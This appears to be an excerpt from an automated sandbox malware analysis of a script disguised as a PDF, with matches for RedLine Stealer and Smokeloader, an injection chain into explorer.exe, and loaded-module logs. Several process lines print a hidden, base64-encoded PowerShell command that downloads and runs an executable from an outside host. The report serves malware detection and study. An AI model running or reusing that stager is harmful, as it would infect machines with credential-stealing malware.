Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_00401529 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401529
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_00402FFA RtlCreateUserThread,NtTerminateProcess,	5_2_00402FFA
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_00401541 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401541
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_00401545 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401545
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_00401553 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401553
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_00402379 NtQuerySystemInformation,	5_2_00402379
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_0040237B NtQuerySystemInformation,	5_2_0040237B
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_0040332A LdrLoadDll,ExpandEnvironmentStringsW,CreateFileW,CreateFileMappingW,MapViewOfFile,NtEnumerateKey,	5_2_0040332A
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_00401534 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401534
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_004014DB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_004014DB
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_004020EA NtQuerySystemInformation,	5_2_004020EA
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_00402387 NtQuerySystemInformation,	5_2_00402387
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_00402397 NtQuerySystemInformation,	5_2_00402397
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_0040239B NtQuerySystemInformation,	5_2_0040239B
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_0040239E NtQuerySystemInformation,	5_2_0040239E
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_00401529 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_00401529
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_00402FFA RtlCreateUserThread,NtTerminateProcess,	10_2_00402FFA
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_00401541 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_00401541
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_00401545 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_00401545
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_00401553 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_00401553
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_00402379 NtQuerySystemInformation,	10_2_00402379
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_0040237B NtQuerySystemInformation,	10_2_0040237B
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_0040332A LdrLoadDll,ExpandEnvironmentStringsW,CreateFileW,CreateFileMappingW,MapViewOfFile,NtMapViewOfSection,NtDuplicateObject,NtQuerySystemInformation,NtOpenKey,NtQueryKey,NtEnumerateKey,RtlCreateUserThread,strstr,tolower,towlower,	10_2_0040332A
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_00401534 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_00401534
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_004014DB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_004014DB
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_004020EA NtQuerySystemInformation,	10_2_004020EA
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_00402387 NtQuerySystemInformation,	10_2_00402387
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_00402397 NtQuerySystemInformation,	10_2_00402397
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_0040239B NtQuerySystemInformation,	10_2_0040239B
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_0040239E NtQuerySystemInformation,	10_2_0040239E

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_00418A70	5_2_00418A70
Source: C:\Windows\explorer.exe	Code function: 9_2_00B228D0	9_2_00B228D0
Source: C:\Windows\explorer.exe	Code function: 9_2_088228D0	9_2_088228D0
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_00418A70	10_2_00418A70
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_007ED20D	10_2_007ED20D

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\oBuf.exe F488B4EB65D5F5339401FC0869E614433719E64A5156945B530F98C7D39452E1
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\wbfgshs F488B4EB65D5F5339401FC0869E614433719E64A5156945B530F98C7D39452E1

Source: 3312.PDF.wsf

Initial sample: Strings found which are bigger than 50

Source: 0000000A.00000002.1937502143.00000000007ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.1659047327.000000000090D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.1658821304.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.1658888908.00000000006D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.1658776261.00000000006A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000A.00000002.1937393700.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000A.00000002.1937588498.0000000002181000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000A.00000002.1937415520.00000000007C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23

Source: oBuf.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: wbfgshs.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.expl.evad.winWSF@9/5@3/2

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe

Code function: 5_2_009106F7 CreateToolhelp32Snapshot,Module32First,

5_2_009106F7

Source: C:\Windows\explorer.exe

Code function: 9_2_00B23678 CoCreateInstance,

9_2_00B23678

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\wbfgshs

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7176:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0gosykqu.mc1.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3312.PDF.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\oBuf.exe "C:\Users\user\AppData\Local\Temp\oBuf.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\wbfgshs C:\Users\user\AppData\Roaming\wbfgshs
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\oBuf.exe "C:\Users\user\AppData\Local\Temp\oBuf.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wbfgshs	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wbfgshs	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wbfgshs	Section loaded: msvcr100.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{06290BD0-48AA-11D2-8432-006008C3FBFC}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Unpacked PE file: 5.2.oBuf.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\wbfgshs	Unpacked PE file: 10.2.wbfgshs.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R; vs .text:EW;

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

